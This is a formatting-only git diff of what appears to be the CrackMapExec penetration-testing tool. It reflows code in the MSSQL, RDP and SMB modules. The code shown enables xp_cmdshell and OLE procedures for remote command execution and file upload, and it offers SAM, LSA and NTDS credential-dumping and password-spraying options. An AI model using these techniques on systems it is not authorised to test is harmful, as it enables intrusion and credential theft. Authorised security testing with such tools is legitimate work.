-337,9 +308,7 @@ class mssql(connection): "{}\\{}{} {}".format( f"{domain}\\" if not self.args.local_auth else "", username, - " from ccache" - if useCache - else f":{kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}", + " from ccache" if useCache else f":{kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}", e, ) ) @@ -356,9 +325,7 @@ class mssql(connection): # this is to prevent a decoding issue in impacket/ntlm.py:617 where it attempts to decode the domain if not domain: domain = "" - res = self.conn.login( - None, username, password, domain, None, not self.args.local_auth - ) + res = self.conn.login(None, username, password, domain, None, not self.args.local_auth) if res is not True: self.conn.printReplies() return False @@ -370,19 +337,13 @@ class mssql(connection): self.db.add_credential("plaintext", domain, username, password) if self.admin_privs: - self.db.add_admin_user( - "plaintext", domain, username, password, self.host - ) + self.db.add_admin_user("plaintext", domain, username, password, self.host) out = "{}{}:{} {}".format( f"{domain}\\" if not self.args.local_auth else "", username, process_secret(password), - highlight( - f'({self.config.get("CME", "pwn3d_label")})' - if self.admin_privs - else "" - ), + highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else ""), ) self.logger.success(out) if not self.args.local_auth: @@ -438,11 +399,7 @@ class mssql(connection): domain, username, process_secret(ntlm_hash), - highlight( - f'({self.config.get("CME", "pwn3d_label")})' - if self.admin_privs - else "" - ), + highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else ""), ) self.logger.success(out) if not self.args.local_auth: @@ -506,9 +463,7 @@ class mssql(connection): get_output = True # We're disabling PS obfuscation by default as it breaks the MSSQLEXEC execution method - ps_command = create_ps_command( - payload, force_ps32=force_ps32, dont_obfs=dont_obfs - ) + ps_command = create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs) return self.execute(ps_command, get_output) @requires_admin @@ -523,9 +478,7 @@ class mssql(connection): if exec_method.file_exists(self.args.put_file[1]): self.logger.success("File has been uploaded on the remote machine") else: - self.logger.fail( - "File does not exist on the remote system... error during upload" - ) + self.logger.fail("File does not exist on the remote system... error during upload") except Exception as e: self.logger.fail(f"Error during upload : {e}") @@ -535,9 +488,7 @@ class mssql(connection): try: exec_method = MSSQLEXEC(self.conn) exec_method.get_file(self.args.get_file[0], self.args.get_file[1]) - self.logger.success( - f"File {self.args.get_file[0]} was transferred to {self.args.get_file[1]}" - ) + self.logger.success(f"File {self.args.get_file[0]} was transferred to {self.args.get_file[1]}") except Exception as e: self.logger.fail(f"Error reading file {self.args.get_file[0]}: {e}") @@ -548,20 +499,14 @@ class mssql(connection): for i, key in enumerate(self.replies[keys]): if key["TokenType"] == TDS_ERROR_TOKEN: error = f"ERROR({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}" - self.lastError = SQLErrorException( - f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}" - ) + self.lastError = SQLErrorException(f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}") self._MSSQL__rowsPrinter.error(error) elif key["TokenType"] == TDS_INFO_TOKEN: - self._MSSQL__rowsPrinter.info( - f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}" - ) + self._MSSQL__rowsPrinter.info(f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}") elif key["TokenType"] == TDS_LOGINACK_TOKEN: - self._MSSQL__rowsPrinter.info( - f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) " - ) + self._MSSQL__rowsPrinter.info(f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) ") elif key["TokenType"] == TDS_ENVCHANGE_TOKEN: if key["Type"] in ( @@ -585,8 +530,6 @@ class mssql(connection): _type = "PACKETSIZE" else: _type = f"{key['Type']:d}" - self._MSSQL__rowsPrinter.info( - f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}" - ) + self._MSSQL__rowsPrinter.info(f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}") tds.MSSQL.printReplies = printRepliesCME diff --git a/cme/protocols/mssql/database.py b/cme/protocols/mssql/database.py index bb28f493..ff8a6532 100755 --- a/cme/protocols/mssql/database.py +++ b/cme/protocols/mssql/database.py @@ -70,22 +70,11 @@ class database: def reflect_tables(self): with self.db_engine.connect() as conn: try: - self.HostsTable = Table( - "hosts", self.metadata, autoload_with=self.db_engine - ) - self.UsersTable = Table( - "users", self.metadata, autoload_with=self.db_engine - ) - self.AdminRelationsTable = Table( - "admin_relations", self.metadata, autoload_with=self.db_engine - ) + self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) + self.UsersTable = Table("users", self.metadata, autoload_with=self.db_engine) + self.AdminRelationsTable = Table("admin_relations", self.metadata, autoload_with=self.db_engine) except (NoInspectionAvailable, NoSuchTableError): - print( - "[-] Error reflecting tables - this means there is a DB schema mismatch \n" - "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" - "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" - "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema" - ) + print("[-] Error reflecting tables - this means there is a DB schema mismatch \n" "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema") exit() def shutdown_db(self): @@ -148,9 +137,7 @@ class database: # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.HostsTable) update_columns = {col.name: col for col in q.excluded if col.name not in "id"} - q = q.on_conflict_do_update( - index_elements=self.HostsTable.primary_key, set_=update_columns - ) + q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns) self.conn.execute(q, hosts) def add_credential(self, credtype, domain, username, password, pillaged_from=None): @@ -187,23 +174,17 @@ class database: "credtype": credtype, "pillaged_from_hostid": pillaged_from, } - q = insert(self.UsersTable).values( - user_data - ) # .returning(self.UsersTable.c.id) + q = insert(self.UsersTable).values(user_data) # .returning(self.UsersTable.c.id) self.conn.execute(q) # .first() else: for user in results: # might be able to just remove this if check, but leaving it in for now if not user[3] and not user[4] and not user[5]: - q = update(self.UsersTable).values( - credential_data - ) # .returning(self.UsersTable.c.id) + q = update(self.UsersTable).values(credential_data) # .returning(self.UsersTable.c.id) results = self.conn.execute(q) # .first() # user_rowid = results.id - cme_logger.debug( - f"add_credential(credtype={credtype}, domain={domain}, username={username}, password={password}, pillaged_from={pillaged_from})" - ) + cme_logger.debug(f"add_credential(credtype={credtype}, domain={domain}, username={username}, password={password}, pillaged_from={pillaged_from})") return user_rowid def remove_credentials(self, creds_id): @@ -254,13 +235,9 @@ class database: def get_admin_relations(self, user_id=None, host_id=None): if user_id: - q = select(self.AdminRelationsTable).filter( - self.AdminRelationsTable.c.userid == user_id - ) + q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.userid == user_id) elif host_id: - q = select(self.AdminRelationsTable).filter( - self.AdminRelationsTable.c.hostid == host_id - ) + q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.hostid == host_id) else: q = select(self.AdminRelationsTable) @@ -300,9 +277,7 @@ class database: # if we're filtering by username elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") - q = select(self.UsersTable).filter( - func.lower(self.UsersTable.c.username).like(like_term) - ) + q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term)) # otherwise return all credentials else: q = select(self.UsersTable) @@ -338,10 +313,7 @@ class database: # if we're filtering by ip/hostname elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") - q = select(self.HostsTable).filter( - self.HostsTable.c.ip.like(like_term) - | func.lower(self.HostsTable.c.hostname).like(like_term) - ) + q = select(self.HostsTable).filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term)) results = self.conn.execute(q).all() return results diff --git a/cme/protocols/mssql/db_navigator.py b/cme/protocols/mssql/db_navigator.py index ae7bd361..9415aeb9 100644 --- a/cme/protocols/mssql/db_navigator.py +++ b/cme/protocols/mssql/db_navigator.py @@ -130,12 +130,7 @@ class navigator(DatabaseNavigator): print_table(data, title="Admin Access to Host(s)") def do_clear_database(self, line): - if ( - input( - "This will destroy all data in the current database, are you SURE you want to run this? (y/n): " - ) - == "y" - ): + if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": self.db.clear_database() @staticmethod diff --git a/cme/protocols/mssql/mssqlexec.py b/cme/protocols/mssql/mssqlexec.py index 23296204..fc4dfa2f 100755 --- a/cme/protocols/mssql/mssqlexec.py +++ b/cme/protocols/mssql/mssqlexec.py @@ -24,9 +24,7 @@ class MSSQLEXEC: continue command_output.append(row["output"]) except Exception as e: - cme_logger.error( - f"Error when attempting to execute command via xp_cmdshell: {e}" - ) + cme_logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}") if output: cme_logger.debug(f"Output is enabled") @@ -41,64 +39,41 @@ class MSSQLEXEC: try: self.disable_xp_cmdshell() except Exception as e: - cme_logger.error( - f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}" - ) + cme_logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}") return command_output # return self.outputBuffer def enable_xp_cmdshell(self): - self.mssql_conn.sql_query( - "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;" - ) + self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;") def disable_xp_cmdshell(self): - self.mssql_conn.sql_query( - "exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;" - ) + self.mssql_conn.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;") def enable_ole(self): - self.mssql_conn.sql_query( - "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;" - ) + self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;") def disable_ole(self): - self.mssql_conn.sql_query( - "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;" - ) + self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;") def put_file(self, data, remote): try: self.enable_ole() hexdata = data.hex() - self.mssql_conn.sql_query( - "DECLARE @ob INT;" - "EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;" - "EXEC sp_OASetProperty @ob, 'Type', 1;" - "EXEC sp_OAMethod @ob, 'Open';" - "EXEC sp_OAMethod @ob, 'Write', NULL, 0x{};" - "EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{}', 2;" - "EXEC sp_OAMethod @ob, 'Close';" - "EXEC sp_OADestroy @ob;".format(hexdata, remote) - ) + self.mssql_conn.sql_query("DECLARE @ob INT;" "EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;" "EXEC sp_OASetProperty @ob, 'Type', 1;" "EXEC sp_OAMethod @ob, 'Open';" "EXEC sp_OAMethod @ob, 'Write', NULL, 0x{};" "EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{}', 2;" "EXEC sp_OAMethod @ob, 'Close';" "EXEC sp_OADestroy @ob;".format(hexdata, remote)) self.disable_ole() except Exception as e: cme_logger.debug(f"Error uploading via mssqlexec: {e}") def file_exists(self, remote): try: - res = self.mssql_conn.batch( - f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n" - )[0]["n"] + res = self.mssql_conn.batch(f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n")[0]["n"] return res == 1 except: return False def get_file(self, remote, local): try: - self.mssql_conn.sql_query( - f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs" - ) + self.mssql_conn.sql_query(f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs") data = self.mssql_conn.rows[0]["BulkColumn"] with open(local, "wb+") as f: diff --git a/cme/protocols/rdp.py b/cme/protocols/rdp.py index d2426af9..194a8543 100644 --- a/cme/protocols/rdp.py +++ b/cme/protocols/rdp.py @@ -80,9 +80,7 @@ class rdp(connection): @staticmethod def proto_args(parser, std_parser, module_parser): - rdp_parser = parser.add_parser( - "rdp", help="own stuff using RDP", parents=[std_parser, module_parser] - ) + rdp_parser = parser.add_parser("rdp", help="own stuff using RDP", parents=[std_parser, module_parser]) rdp_parser.add_argument( "-H", "--hash", @@ -95,19 +93,14 @@ class rdp(connection): rdp_parser.add_argument( "--no-bruteforce", action="store_true", - help=( - "No spray when using file for username and password (user1 =>" - " password1, user2 => password2" - ), + help=("No spray when using file for username and password (user1 =>" " password1, user2 => password2"), ) rdp_parser.add_argument( "--continue-on-success", action="store_true", help="continues authentication attempts even after successes", ) - rdp_parser.add_argument( - "--port", type=int, default=3389, help="Custom RDP port" - ) + rdp_parser.add_argument("--port", type=int, default=3389, help="Custom RDP port") rdp_parser.add_argument( "--rdp-timeout", type=int, @@ -135,17 +128,13 @@ class rdp(connection): help="authenticate locally to each target", ) - egroup = rdp_parser.add_argument_group( - "Screenshot", "Remote Desktop Screenshot" - ) + egroup = rdp_parser.add_argument_group("Screenshot", "Remote Desktop Screenshot") egroup.add_argument( "--screenshot", action="store_true", help="Screenshot RDP if connection success", ) - egroup.add_argument( - "--screentime", type=int, default=10, help="Time to wait for desktop image" - ) + egroup.add_argument("--screentime", type=int, default=10, help="Time to wait for desktop image") egroup.add_argument( "--res", default="1024x768", @@ -176,24 +165,14 @@ class rdp(connection): def print_host_info(self): if self.domain is None: - self.logger.display( - "Probably old, doesn't not support HYBRID or HYBRID_EX" - f" (nla:{self.nla})" - ) + self.logger.display("Probably old, doesn't not support HYBRID or HYBRID_EX" f" (nla:{self.nla})") else: - self.logger.display( - f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})" - f" (nla:{self.nla})" - ) + self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})" f" (nla:{self.nla})") return True def create_conn_obj(self): - self.target = RDPTarget( - ip=self.host, domain="FAKE", timeout=self.args.rdp_timeout - ) - self.auth = NTLMCredential( - secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS - ) + self.target = RDPTarget(ip=self.host, domain="FAKE", timeout=self.args.rdp_timeout) + self.auth = NTLMCredential(secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS) self.check_nla() @@ -216,15 +195,9 @@ class rdp(connection): info_domain = self.conn.get_extra_info() self.domain = info_domain["dnsdomainname"] self.hostname = info_domain["computername"] - self.server_os = ( - info_domain["os_guess"] - + " Build " - + str(info_domain["os_build"]) - ) + self.server_os = info_domain["os_guess"] + " Build " + str(info_domain["os_build"]) - self.output_filename = os.path.expanduser( - f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}" - ) + self.output_filename = os.path.expanduser(f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}") self.output_filename = self.output_filename.replace(":", "-") break @@ -254,11 +227,7 @@ class rdp(connection): credentials=self.auth, ) asyncio.run(self.connect_rdp()) - if ( - str(proto) == "SUPP_PROTOCOLS.RDP" - or str(proto) == "SUPP_PROTOCOLS.SSL" - or str(proto) == "SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.RDP" - ): + if str(proto) == "SUPP_PROTOCOLS.RDP" or str(proto) == "SUPP_PROTOCOLS.SSL" or str(proto) == "SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.RDP": self.nla = False return except Exception as e: @@ -307,15 +276,11 @@ class rdp(connection): if not password: password = getenv("KRB5CCNAME") if not password else password if "/" in password: - self.logger.fail( - "Kerberos ticket need to be on the local directory" - ) + self.logger.fail("Kerberos ticket need to be on the local directory") return False ccache = CCache.loadFile(getenv("KRB5CCNAME")) ticketCreds = ccache.credentials[0] - username = ( - ticketCreds["client"].prettyPrint().decode().split("@")[0] - ) + username = ticketCreds["client"].prettyPrint().decode().split("@")[0] else: stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT @@ -334,9 +299,7 @@ class rdp(connection): domain=domain, stype=stype, ) - self.conn = RDPConnection( - iosettings=self.iosettings, target=self.target, credentials=self.auth - ) + self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) asyncio.run(self.connect_rdp()) self.admin_privs = True @@ -348,12 +311,7 @@ class rdp(connection): # Show what was used between cleartext, nthash, aesKey and ccache " from ccache" if useCache - else ":%s" - % ( - kerb_pass - if not self.config.get("CME", "audit_mode") - else self.config.get("CME", "audit_mode") * 8 - ) + else ":%s" % (kerb_pass if not self.config.get("CME", "audit_mode") else self.config.get("CME", "audit_mode") * 8) ), self.mark_pwned(), ) @@ -370,22 +328,11 @@ class rdp(connection): if word in str(e): reason = self.rdp_error_status[word] self.logger.fail( - ( - f"{domain}\\{username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {f'({reason})' if reason else str(e)}" - ), - color=( - "magenta" - if ( - (reason or "CredSSP" in str(e)) - and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN" - ) - else "red" - ), + (f"{domain}\\{username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {f'({reason})' if reason else str(e)}"), + color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"), ) elif "Authentication failed!" in str(e): - self.logger.success( - f"{domain}\\{username}:{password} {self.mark_pwned()}" - ) + self.logger.success(f"{domain}\\{username}:{password} {self.mark_pwned()}") elif "No such file" in str(e): self.logger.fail(e) else: @@ -396,17 +343,8 @@ class rdp(connection): if "cannot unpack non-iterable NoneType object" == str(e): reason = "User valid but cannot connect" self.logger.fail( - ( - f"{domain}\\{username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {f'({reason})' if reason else ''}" - ), - color=( - "magenta" - if ( - (reason or "CredSSP" in str(e)) - and reason != "STATUS_LOGON_FAILURE" - ) - else "red" - ), + (f"{domain}\\{username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {f'({reason})' if reason else ''}"), + color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False @@ -418,9 +356,7 @@ class rdp(connection): domain=domain, stype=asyauthSecret.PASS, ) - self.conn = RDPConnection( - iosettings=self.iosettings, target=self.target, credentials=self.auth - ) + self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) asyncio.run(self.connect_rdp()) self.admin_privs = True @@ -431,9 +367,7 @@ class rdp(connection): return True except Exception as e: if "Authentication failed!" in str(e): - self.logger.success( - f"{domain}\\{username}:{password} {self.mark_pwned()}" - ) + self.logger.success(f"{domain}\\{username}:{password} {self.mark_pwned()}") else: reason = None for word in self.rdp_error_status.keys(): @@ -442,17 +376,8 @@ class rdp(connection): if "cannot unpack non-iterable NoneType object" == str(e): reason = "User valid but cannot connect" self.logger.fail( - ( - f"{domain}\\{username}:{password} {f'({reason})' if reason else ''}" - ), - color=( - "magenta" - if ( - (reason or "CredSSP" in str(e)) - and reason != "STATUS_LOGON_FAILURE" - ) - else "red" - ), + (f"{domain}\\{username}:{password} {f'({reason})' if reason else ''}"), + color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False @@ -464,24 +389,18 @@ class rdp(connection): domain=domain, stype=asyauthSecret.NT, ) - self.conn = RDPConnection( - iosettings=self.iosettings, target=self.target, credentials=self.auth - ) + self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) asyncio.run(self.connect_rdp()) self.admin_privs = True - self.logger.success( - f"{self.domain}\\{username}:{ntlm_hash} {self.mark_pwned()}" - ) + self.logger.success(f"{self.domain}\\{username}:{ntlm_hash} {self.mark_pwned()}") if not self.args.local_auth: add_user_bh(username, domain, self.logger, self.config) if not self.args.continue_on_success: return True except Exception as e: if "Authentication failed!" in str(e): - self.logger.success( - f"{domain}\\{username}:{ntlm_hash} {self.mark_pwned()}" - ) + self.logger.success(f"{domain}\\{username}:{ntlm_hash} {self.mark_pwned()}") else: reason = None for word in self.rdp_error_status.keys(): @@ -491,25 +410,14 @@ class rdp(connection): reason = "User valid but cannot connect" self.logger.fail( - ( - f"{domain}\\{username}:{ntlm_hash} {f'({reason})' if reason else ''}" - ), - color=( - "magenta" - if ( - (reason or "CredSSP" in str(e)) - and reason != "STATUS_LOGON_FAILURE" - ) - else "red" - ), + (f"{domain}\\{username}:{ntlm_hash} {f'({reason})' if reason else ''}"), + color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False async def screen(self): try: - self.conn = RDPConnection( - iosettings=self.iosettings, target=self.target, credentials=self.auth - ) + self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) await self.connect_rdp() except Exception as e: return @@ -517,9 +425,7 @@ class rdp(connection): await asyncio.sleep(int(5)) if self.conn is not None and self.conn.desktop_buffer_has_data is True: buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = os.path.expanduser( - f"~/.cme/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png" - ) + filename = os.path.expanduser(f"~/.cme/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") buffer.save(filename, "png") self.logger.highlight(f"Screenshot saved {filename}") @@ -529,20 +435,14 @@ class rdp(connection): async def nla_screen(self): # Otherwise it crash self.iosettings.supported_protocols = None - self.auth = NTLMCredential( - secret="", username="", domain="", stype=asyauthSecret.PASS - ) - self.conn = RDPConnection( - iosettings=self.iosettings, target=self.target, credentials=self.auth - ) + self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS) + self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) await self.connect_rdp_old(self.url) await asyncio.sleep(int(self.args.screentime)) if self.conn is not None and self.conn.desktop_buffer_has_data is True: buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = os.path.expanduser( - f"~/.cme/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png" - ) + filename = os.path.expanduser(f"~/.cme/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") buffer.save(filename, "png") self.logger.highlight(f"NLA Screenshot saved {filename}") diff --git a/cme/protocols/rdp/database.py b/cme/protocols/rdp/database.py index fb144a24..3cc915b0 100644 --- a/cme/protocols/rdp/database.py +++ b/cme/protocols/rdp/database.py @@ -49,19 +49,10 @@ class database: def reflect_tables(self): with self.db_engine.connect() as conn: try: - self.CredentialsTable = Table( - "credentials", self.metadata, autoload_with=self.db_engine - ) - self.HostsTable = Table( - "hosts", self.metadata, autoload_with=self.db_engine - ) + self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine) + self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) except (NoInspectionAvailable, NoSuchTableError): - print( - "[-] Error reflecting tables - this means there is a DB schema mismatch \n" - "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" - "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" - "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema" - ) + print("[-] Error reflecting tables - this means there is a DB schema mismatch \n" "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema") exit() def shutdown_db(self): diff --git a/cme/protocols/rdp/db_navigator.py b/cme/protocols/rdp/db_navigator.py index b1afbf92..36777af1 100644 --- a/cme/protocols/rdp/db_navigator.py +++ b/cme/protocols/rdp/db_navigator.py @@ -6,12 +6,7 @@ from cme.cmedb import DatabaseNavigator, print_help class navigator(DatabaseNavigator): def do_clear_database(self, line): - if ( - input( - "This will destroy all data in the current database, are you SURE you want to run this? (y/n): " - ) - == "y" - ): + if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": self.db.clear_database() def help_clear_database(self): diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index af268b65..0767cce0 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -168,9 +168,7 @@ class smb(connection): @staticmethod def proto_args(parser, std_parser, module_parser): - smb_parser = parser.add_parser( - "smb", help="own stuff using SMB", parents=[std_parser, module_parser] - ) + smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=[std_parser, module_parser]) smb_parser.add_argument( "-H", "--hash", @@ -243,16 +241,10 @@ class smb(connection): const="administrator", ) - cgroup = smb_parser.add_argument_group( - "Credential Gathering", "Options for gathering credentials" - ) + cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials") cegroup = cgroup.add_mutually_exclusive_group() - cegroup.add_argument( - "--sam", action="store_true", help="dump SAM hashes from target systems" - ) - cegroup.add_argument( - "--lsa", action="store_true", help="dump LSA secrets from target systems" - ) + cegroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") + cegroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") cegroup.add_argument( "--ntds", choices={"vss", "drsuapi"}, @@ -270,47 +262,31 @@ class smb(connection): # cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history') # cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account') - ngroup = smb_parser.add_argument_group( - "Credential Gathering", "Options for gathering credentials" - ) + ngroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials") ngroup.add_argument( "--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1", ) - ngroup.add_argument( - "--pvk", action="store", help="DPAPI option. File with domain backupkey" - ) - ngroup.add_argument( - "--enabled", action="store_true", help="Only dump enabled targets from DC" - ) - ngroup.add_argument( - "--user", dest="userntds", type=str, help="Dump selected user from DC" - ) + ngroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey") + ngroup.add_argument("--enabled", action="store_true", help="Only dump enabled targets from DC") + ngroup.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC") - egroup = smb_parser.add_argument_group( - "Mapping/Enumeration", "Options for Mapping/Enumerating" - ) - egroup.add_argument( - "--shares", action="store_true", help="enumerate shares and access" - ) + egroup = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating") + egroup.add_argument("--shares", action="store_true", help="enumerate shares and access") egroup.add_argument( "--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'", ) - egroup.add_argument( - "--sessions", action="store_true", help="enumerate active sessions" - ) + egroup.add_argument("--sessions", action="store_true", help="enumerate active sessions") egroup.add_argument("--disks", action="store_true", help="enumerate disks") egroup.add_argument( "--loggedon-users-filter", action="store", help="only search for specific user, works with regex", ) - egroup.add_argument( - "--loggedon-users", action="store_true", help="enumerate logged on users" - ) + egroup.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users") egroup.add_argument( "--users", nargs="?", @@ -339,9 +315,7 @@ class smb(connection): metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated", ) - egroup.add_argument( - "--pass-pol", action="store_true", help="dump password policy" - ) + egroup.add_argument("--pass-pol", action="store_true", help="dump password policy") egroup.add_argument( "--rid-brute", nargs="?", @@ -350,9 +324,7 @@ class smb(connection): metavar="MAX_RID", help="enumerate users by bruteforcing RID's (default: 4000)", ) - egroup.add_argument( - "--wmi", metavar="QUERY", type=str, help="issues the specified WMI query" - ) + egroup.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query") egroup.add_argument( "--wmi-namespace", metavar="NAMESPACE", @@ -360,12 +332,8 @@ class smb(connection): help="WMI Namespace (default: root\\cimv2)", ) - sgroup = smb_parser.add_argument_group( - "Spidering", "Options for spidering shares" - ) - sgroup.add_argument( - "--spider", metavar="SHARE", type=str, help="share to spider" - ) + sgroup = smb_parser.add_argument_group("Spidering", 